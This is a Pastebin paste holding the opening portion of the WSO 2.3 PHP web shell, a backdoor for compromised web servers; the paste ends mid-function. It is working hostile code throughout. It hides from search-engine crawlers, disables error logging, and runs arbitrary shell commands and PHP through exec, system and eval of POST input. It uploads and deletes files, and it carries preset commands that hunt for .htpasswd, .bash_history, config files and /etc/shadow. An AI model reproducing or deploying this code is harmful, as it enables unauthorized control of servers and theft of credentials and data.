byattack

Untitled

Jul 26th, 2015
549
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.17 KB | None | 0 0
  1. if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
  2. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  3. foreach($userAgents as $agent)
  4. if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  5. header('HTTP/1.0 404 Not Found');
  6. exit;
  7. }
  8. }
  9. @session_start();
  10. @error_reporting(0);
  11. @ini_set('error_log',NULL);
  12. @ini_set('log_errors',0);
  13. @ini_set('max_execution_time',0);
  14. @set_time_limit(0);
  15. @set_magic_quotes_runtime(0);
  16. @define('VERSION', '2.3');
  17. if( get_magic_quotes_gpc() ) {
  18. function WSOstripslashes($array) {
  19. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  20. }
  21. $_POST = WSOstripslashes($_POST);
  22. }
  23. function wsoLogin() {
  24. die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
  25. }
  26. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  27. if( empty( $auth_pass ) ||
  28. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  29. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  30. else
  31. wsoLogin();
  32.  
  33. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  34. $os = 'win';
  35. else
  36. $os = 'nix';
  37. $safe_mode = @ini_get('safe_mode');
  38. $disable_functions = @ini_get('disable_functions');
  39. $home_cwd = @getcwd();
  40. if( isset( $_POST['c'] ) )
  41. @chdir($_POST['c']);
  42. $cwd = @getcwd();
  43. if( $os == 'win') {
  44. $home_cwd = str_replace("\\", "/", $home_cwd);
  45. $cwd = str_replace("\\", "/", $cwd);
  46. }
  47. if( $cwd[strlen($cwd)-1] != '/' )
  48. $cwd .= '/';
  49.  
  50. if($os == 'win')
  51. $aliases = array(
  52. "List Directory" => "dir",
  53. "Find index.php in current dir" => "dir /s /w /b index.php",
  54. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  55. "Show active connections" => "netstat -an",
  56. "Show running services" => "net start",
  57. "User accounts" => "net user",
  58. "Show computers" => "net view",
  59. "ARP Table" => "arp -a",
  60. "IP Configuration" => "ipconfig /all"
  61. );
  62. else
  63. $aliases = array(
  64. "List dir" => "ls -lha",
  65. "list file attributes on a Linux second extended file system" => "lsattr -va",
  66. "show opened ports" => "netstat -an | grep -i listen",
  67. "Find" => "",
  68. "find all suid files" => "find / -type f -perm -04000 -ls",
  69. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  70. "find all sgid files" => "find / -type f -perm -02000 -ls",
  71. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  72. "find config.inc.php files" => "find / -type f -name config.inc.php",
  73. "find config* files" => "find / -type f -name \"config*\"",
  74. "find config* files in current dir" => "find . -type f -name \"config*\"",
  75. "find all writable folders and files" => "find / -perm -2 -ls",
  76. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  77. "find all service.pwd files" => "find / -type f -name service.pwd",
  78. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  79. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  80. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  81. "find all .bash_history files" => "find / -type f -name .bash_history",
  82. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  83. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  84. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  85. "Locate" => "",
  86. "locate httpd.conf files" => "locate httpd.conf",
  87. "locate vhosts.conf files" => "locate vhosts.conf",
  88. "locate proftpd.conf files" => "locate proftpd.conf",
  89. "locate psybnc.conf files" => "locate psybnc.conf",
  90. "locate my.conf files" => "locate my.conf",
  91. "locate admin.php files" =>"locate admin.php",
  92. "locate cfg.php files" => "locate cfg.php",
  93. "locate conf.php files" => "locate conf.php",
  94. "locate config.dat files" => "locate config.dat",
  95. "locate config.php files" => "locate config.php",
  96. "locate config.inc files" => "locate config.inc",
  97. "locate config.inc.php" => "locate config.inc.php",
  98. "locate config.default.php files" => "locate config.default.php",
  99. "locate config* files " => "locate config",
  100. "locate .conf files"=>"locate '.conf'",
  101. "locate .pwd files" => "locate '.pwd'",
  102. "locate .sql files" => "locate '.sql'",
  103. "locate .htpasswd files" => "locate '.htpasswd'",
  104. "locate .bash_history files" => "locate '.bash_history'",
  105. "locate .mysql_history files" => "locate '.mysql_history'",
  106. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  107. "locate backup files" => "locate backup",
  108. "locate dump files" => "locate dump",
  109. "locate priv files" => "locate priv"
  110. );
  111.  
  112. function wsoHeader() {
  113. if(empty($_POST['charset']))
  114. $_POST['charset'] = $GLOBALS['default_charset'];
  115. global $color;
  116. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title>
  117. <style>
  118. body{background-color:#444;color:#e1e1e1;}
  119. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  120. table.info{ color:#fff;background-color:#222; }
  121. span,h1,a{ color: $color !important; }
  122. span{ font-weight: bolder; }
  123. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  124. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  125. a{ text-decoration:none; }
  126. a:hover{ text-decoration:underline; }
  127. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  128. .bigarea{ width:100%;height:250px; }
  129. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  130. form{ margin:0px; }
  131. #toolsTbl{ text-align:center; }
  132. .toolsInp{ width: 300px }
  133. .main th{text-align:left;background-color:#5e5e5e;}
  134. .main tr:hover{background-color:#5e5e5e}
  135. .l1{background-color:#444}
  136. pre{font-family:Courier,Monospace;}
  137. </style>
  138. <script>
  139. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  140. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  141. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  142. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
  143. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
  144. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
  145. function set(a,c,p1,p2,p3,charset) {
  146. if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
  147. if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
  148. if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
  149. if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
  150. if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
  151. if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
  152. }
  153. function g(a,c,p1,p2,p3,charset) {
  154. set(a,c,p1,p2,p3,charset);
  155. document.mf.submit();
  156. }
  157. function a(a,c,p1,p2,p3,charset) {
  158. set(a,c,p1,p2,p3,charset);
  159. var params = 'ajax=true';
  160. for(i=0;i<document.mf.elements.length;i++)
  161. params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
  162. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  163. }
  164. function sr(url, params) {
  165. if (window.XMLHttpRequest)
  166. req = new XMLHttpRequest();
  167. else if (window.ActiveXObject)
  168. req = new ActiveXObject('Microsoft.XMLHTTP');
  169. if (req) {
  170. req.onreadystatechange = processReqChange;
  171. req.open('POST', url, true);
  172. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  173. req.send(params);
  174. }
  175. }
  176. function processReqChange() {
  177. if( (req.readyState == 4) )
  178. if(req.status == 200) {
  179. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  180. var arr=reg.exec(req.responseText);
  181. eval(arr[2].substr(0, arr[1]));
  182. } else alert('Request error!');
  183. }
  184. </script>
  185. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  186. <form method=post name=mf style='display:none;'>
  187. <input type=hidden name=a>
  188. <input type=hidden name=c>
  189. <input type=hidden name=p1>
  190. <input type=hidden name=p2>
  191. <input type=hidden name=p3>
  192. <input type=hidden name=charset>
  193. </form>";
  194. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  195. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  196. $totalSpace = $totalSpace?$totalSpace:1;
  197. $release = @php_uname('r');
  198. $kernel = @php_uname('s');
  199. $millink = 'http://milw0rm.com/search.php?dong=';
  200. if( strpos('Linux', $kernel) !== false )
  201. $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  202. else
  203. $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  204. if(!function_exists('posix_getegid')) {
  205. $user = @get_current_user();
  206. $uid = @getmyuid();
  207. $gid = @getmygid();
  208. $group = "?";
  209. } else {
  210. $uid = @posix_getpwuid(@posix_geteuid());
  211. $gid = @posix_getgrgid(@posix_getegid());
  212. $user = $uid['name'];
  213. $uid = $uid['uid'];
  214. $group = $gid['name'];
  215. $gid = $gid['gid'];
  216. }
  217. $cwd_links = '';
  218. $path = explode("/", $GLOBALS['cwd']);
  219. $n=count($path);
  220. for($i=0;$i<$n-1;$i++) {
  221. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  222. for($j=0;$j<=$i;$j++)
  223. $cwd_links .= $path[$j].'/';
  224. $cwd_links .= "\")'>".$path[$i]."/</a>";
  225. }
  226. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  227. $opt_charsets = '';
  228. foreach($charsets as $item)
  229. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  230. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  231. if(!empty($GLOBALS['auth_pass']))
  232. $m['Logout'] = 'Logout';
  233. $m['Self remove'] = 'SelfRemove';
  234. $menu = '';
  235. foreach($m as $k => $v)
  236. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  237. $drives = "";
  238. if ($GLOBALS['os'] == 'win') {
  239. foreach( range('c','z') as $drive )
  240. if (is_dir($drive.':\\'))
  241. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  242. }
  243. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  244. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  245. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  246. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  247. }
  248.  
  249. function wsoFooter() {
  250. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  251. echo "
  252. </div>
  253. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  254. <tr>
  255. <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  256. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  257. </tr><tr>
  258. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
  259. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
  260. </tr><tr>
  261. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  262. <td><form method='post' ENCTYPE='multipart/form-data'>
  263. <input type=hidden name=a value='FilesMAn'>
  264. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  265. <input type=hidden name=p1 value='uploadFile'>
  266. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  267. <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
  268. </tr></table></div></body></html>";
  269. }
  270.  
  271. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  272. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  273. function wsoEx($in) {
  274. $out = '';
  275. if(function_exists('exec')) {
  276. @exec($in,$out);
  277. $out = @join("\n",$out);
  278. }elseif(function_exists('passthru')) {
  279. ob_start();
  280. @passthru($in);
  281. $out = ob_get_clean();
  282. }elseif(function_exists('system')) {
  283. ob_start();
  284. @system($in);
  285. $out = ob_get_clean();
  286. }elseif(function_exists('shell_exec')) {
  287. $out = shell_exec($in);
  288. }elseif(is_resource($f = @popen($in,"r"))) {
  289. $out = "";
  290. while(!@feof($f))
  291. $out .= fread($f,1024);
  292. pclose($f);
  293. }
  294. return $out;
  295. }
  296. function wsoViewSize($s) {
  297. if($s >= 1073741824)
  298. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  299. elseif($s >= 1048576)
  300. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  301. elseif($s >= 1024)
  302. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  303. else
  304. return $s . ' B';
  305. }
  306.  
  307. function wsoPerms($p) {
  308. if (($p & 0xC000) == 0xC000)$i = 's';
  309. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  310. elseif (($p & 0x8000) == 0x8000)$i = '-';
  311. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  312. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  313. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  314. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  315. else $i = 'u';
  316. $i .= (($p & 0x0100) ? 'r' : '-');
  317. $i .= (($p & 0x0080) ? 'w' : '-');
  318. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  319. $i .= (($p & 0x0020) ? 'r' : '-');
  320. $i .= (($p & 0x0010) ? 'w' : '-');
  321. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  322. $i .= (($p & 0x0004) ? 'r' : '-');
  323. $i .= (($p & 0x0002) ? 'w' : '-');
  324. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  325. return $i;
  326. }
  327. function wsoPermsColor($f) {
  328. if (!@is_readable($f))
  329. return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
  330. elseif (!@is_writable($f))
  331. return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
  332. else
  333. return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
  334. }
  335. if(!function_exists("scandir")) {
  336. function scandir($dir) {
  337. $dh = opendir($dir);
  338. while (false !== ($filename = readdir($dh))) {
  339. $files[] = $filename;
  340. }
  341. return $files;
  342. }
  343. }
  344. function wsoWhich($p) {
  345. $path = wsoEx('which '.$p);
  346. if(!empty($path))
  347. return $path;
  348. return false;
  349. }
  350. function actionSecInfo() {
  351. wsoHeader();
  352. echo '<h1>Server security information</h1><div class=content>';
  353. function wsoSecParam($n, $v) {
  354. $v = trim($v);
  355. if($v) {
  356. echo '<span>'.$n.': </span>';
  357. if(strpos($v, "\n") === false)
  358. echo $v.'<br>';
  359. else
  360. echo '<pre class=ml1>'.$v.'</pre>';
  361. }
  362. }
  363.  
  364. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  365. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  366. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  367. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  368. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  369. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  370. $temp=array();
  371. if(function_exists('mysql_get_client_info'))
  372. $temp[] = "MySql (".mysql_get_client_info().")";
  373. if(function_exists('mssql_connect'))
  374. $temp[] = "MSSQL";
  375. if(function_exists('pg_connect'))
  376. $temp[] = "PostgreSQL";
  377. if(function_exists('oci_connect'))
  378. $temp[] = "Oracle";
  379. wsoSecParam('Supported databases', implode(', ', $temp));
  380. echo '<br>';
  381.  
  382. if( $GLOBALS['os'] == 'nix' ) {
  383. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  384. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  385. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  386. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  387. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  388. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  389. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  390. if(!$GLOBALS['safe_mode']) {
  391. echo '<br>';
  392. $temp=array();
  393. foreach ($userful as $item)
  394. if(wsoWhich($item)){$temp[]=$item;}
  395. wsoSecParam('Userful', implode(', ',$temp));
  396. $temp=array();
  397. foreach ($danger as $item)
  398. if(wsoWhich($item)){$temp[]=$item;}
  399. wsoSecParam('Danger', implode(', ',$temp));
  400. $temp=array();
  401. foreach ($downloaders as $item)
  402. if(wsoWhich($item)){$temp[]=$item;}
  403. wsoSecParam('Downloaders', implode(', ',$temp));
  404. echo '<br/>';
  405. wsoSecParam('HDD space', wsoEx('df -h'));
  406. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  407. }
  408. } else {
  409. wsoSecParam('OS Version',wsoEx('ver'));
  410. wsoSecParam('Account Settings',wsoEx('net accounts'));
  411. wsoSecParam('User Accounts',wsoEx('net user'));
  412. }
  413. echo '</div>';
  414. wsoFooter();
  415. }
  416.  
  417. function actionPhp() {
  418. if( isset($_POST['ajax']) ) {
  419. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  420. ob_start();
  421. eval($_POST['p1']);
  422. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  423. echo strlen($temp), "\n", $temp;
  424. exit;
  425. }
  426. wsoHeader();
  427. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  428. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  429. ob_start();
  430. phpinfo();
  431. $tmp = ob_get_clean();
  432. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  433. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  434. echo str_replace('h1','h2',$tmp).'</div><br>';
  435. }
  436. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  437. @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  438. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  439. echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  440. if(!empty($_POST['p1'])) {
  441. ob_start();
  442. eval($_POST['p1']);
  443. echo htmlspecialchars(ob_get_clean());
  444. }
  445. echo '</pre></div>';
  446. wsoFooter();
  447. }
  448.  
  449. function actionFilesMan() {
  450. wsoHeader();
  451. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  452. if(!empty($_POST['p1'])) {
  453. switch($_POST['p1']) {
  454. case 'uploadFile':
  455. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  456. echo "Can't upload file!";
  457. break;
  458. case 'mkdir':
  459. if(!@mkdir($_POST['p2']))
  460. echo "Can't create new dir";
  461. break;
  462. case 'delete':
  463. function deleteDir($path) {
  464. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  465. $dh = opendir($path);
  466. while ( ($item = readdir($dh) ) !== false) {
  467. $item = $path.$item;
  468. if ( (basename($item) == "..") || (basename($item) == ".") )
  469. continue;
  470. $type = filetype($item);
  471. if ($type == "dir")
  472. deleteDir($item);
  473. else
  474. @unlink($item);
  475. }
  476. closedir($dh);
  477. rmdir($path);
  478. }
  479. if(is_array(@$_POST['f']))
  480. foreach($_POST['f'] as $f) {
  481. $f = urldecode($f);
  482. if(is_dir($f))
  483. deleteDir($f);
  484. else
  485. @unlink($f);
  486. }
  487. break;
  488. case 'paste':
  489. if($_SESSION['act'] == 'copy') {
  490. function copy_paste($c,$s,$d){
  491. if(is_dir($c.$s)){
  492. mkdir($d.$s);
  493. $h = @opendir($c.$s);
  494. while (($f = @readdir($h)) !== false)
  495. if (($f != ".") and ($f != "..")) {
  496. copy_paste($c.$s.'/',$f, $d.$s.'/');
  497. }
  498. } elseif(is_file($c.$s)) {
  499. @copy($c.$s, $d.$s);
  500. }
  501. }
  502. foreach($_SESSION['f'] as $f)
  503. copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  504. } elseif($_SESSION['act'] == 'move') {
  505. function move_paste($c,$s,$d){
  506. if(is_dir($c.$s)){
  507. mkdir($d.$s);
  508. $h = @opendir($c.$s);
  509. while (($f = @readdir($h)) !== false)
  510. if (($f != ".") and ($f != "..")) {
  511. copy_paste($c.$s.'/',$f, $d.$s.'/');
  512. }
  513. } elseif(@is_file($c.$s)) {
  514. @copy($c.$s, $d.$s);
  515. }
  516. }
  517. foreach($_SESSION['f'] as $f)
  518. @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  519. } elseif($_SESSION['act'] == 'zip') {
  520. if(class_exists('ZipArchive')) {
  521. $zip = new ZipArchive();
  522. if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
  523. chdir($_SESSION['c']);
  524. foreach($_SESSION['f'] as $f) {
  525. if(@is_file($_SESSION['c'].$f))
  526. $zip->addFile($_SESSION['c'].$f, $f);
  527. elseif(@is_dir($_SESSION['c'].$f)) {
  528. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  529. foreach ($iterator as $key=>$value) {
  530. $zip->addFile(realpath($key), $key);
  531. }
  532. }
  533. }
  534. chdir($GLOBALS['cwd']);
  535. $zip->close();
  536. }
  537. }
  538. } elseif($_SESSION['act'] == 'unzip') {
  539. if(class_exists('ZipArchive')) {
  540. $zip = new ZipArchive();
  541. foreach($_SESSION['f'] as $f) {
  542. if($zip->open($_SESSION['c'].$f)) {
  543. $zip->extractTo($GLOBALS['cwd']);
  544. $zip->close();
  545. }
  546. }
  547. }
  548. }
  549. unset($_SESSION['f']);
  550. break;
  551. default:
  552. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
  553. $_SESSION['act'] = @$_POST['p1'];
  554. $_SESSION['f'] = @$_POST['f'];
  555. foreach($_SESSION['f'] as $k => $f)
  556. $_SESSION['f'][$k] = urldecode($f);
  557. $_SESSION['c'] = @$_POST['c'];
  558. }
  559. break;
  560. }
  561. }
  562. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  563. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  564. global $sort;
  565. $sort = array('name', 1);
  566. if(!empty($_POST['p1'])) {
  567. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  568. $sort = array($match[1], (int)$match[2]);
  569. }
  570. echo "<script>
  571. function sa() {
  572. for(i=0;i<document.files.elements.length;i++)
  573. if(document.files.elements[i].type == 'checkbox')
  574. document.files.elements[i].checked = document.files.elements[0].checked;
  575. }
  576. </script>
  577. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  578. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  579. $dirs = $files = array();
  580. $n = count($dirContent);
  581. for($i=0;$i<$n;$i++) {
  582. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  583. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  584. $tmp = array('name' => $dirContent[$i],
  585. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  586. 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  587. 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  588. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  589. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  590. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  591. );
  592. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  593. $files[] = array_merge($tmp, array('type' => 'file'));
  594. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  595. $dirs[] = array_merge($tmp, array('type' => 'link'));
  596. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  597. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  598. }
  599. $GLOBALS['sort'] = $sort;
  600. function wsoCmp($a, $b) {
  601. if($GLOBALS['sort'][0] != 'size')
  602. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  603. else
  604. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  605. }
  606. usort($files, "wsoCmp");
  607. usort($dirs, "wsoCmp");
  608. $files = array_merge($dirs, $files);
  609. $l = 0;
  610. foreach($files as $f) {
